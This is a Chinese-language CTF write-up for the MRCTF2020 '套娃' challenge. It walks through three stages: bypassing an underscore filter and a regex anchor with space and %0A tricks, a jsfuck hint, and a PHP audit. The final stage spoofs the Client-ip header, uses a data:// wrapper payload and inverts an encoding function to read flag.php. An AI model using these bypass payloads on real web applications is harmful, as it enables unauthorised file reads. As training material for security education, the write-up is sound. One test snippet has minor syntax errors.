[MRCTF2020]套娃
考查知识点:本题三重套娃,考查的知识包括绕过过滤,空格代替_,传值方式,写代码的能力等等。
第一层套娃
在f12中可以发现这个线索
<?php
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){//即不能存在_,这里用%5f url编码绕过也被过滤了,但是可以使用空格代替_来进行绕过
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){//%0A是回车的url编码,可以满足不强等于,同时满足含有特定字符串
echo "you are going to the next ~";
}
以下是引用大佬的关于$_SERVER函数的用法,链接放在文章的末尾。
例子
http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
由实例可知:
$_SERVER["QUERY_STRING"] 获取的是?后面的值
我们传的参数中不能存在_
和%5f
,可以通过使用空格来代替_,还是能够上传成功。
这里说一下这个正则匹配的^和$,这里进行了简单的测试
<?php
$subject = 'abcdef';
$subject1 = 'abcdefs'
$subject2 = "def";
$pattern = '/def/';
$pattern = '/def$/'
preg_match($pattern,$subject,$matches);
print_r($matches);
经过测试,$patern
为/def/
时,只要被测字符串中含有def
字符串,就会匹配到;而$pattern
为/def$/
时,被测字符串中含有def
的部分必须是def结尾
,才能够匹配到。^
亦然。
这个匹配可以通过在字符串结尾加上回车的url编码%0A
来解决
所以第一层的payload1是:
?b u p t=23333%0A
第二层套娃
然后访问secrettw.php ,在f12中发现jsfuck编码,丢进控制台中
看到提示,需要POST传值Merak,随便传个值,即可进入第三层。
第三层套娃
需要进行代码审计
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){ //可以通过反写将flag.php传入
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
ip匹配那个,可以修改报文,添加
Client-ip:127.0.0.1
而GET方式传入的参数2333可以通过data伪协议传入
secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
反写的代码
<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
$string .= chr(ord($re[$i]) - $i*2);
}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="
所以最后的结果如图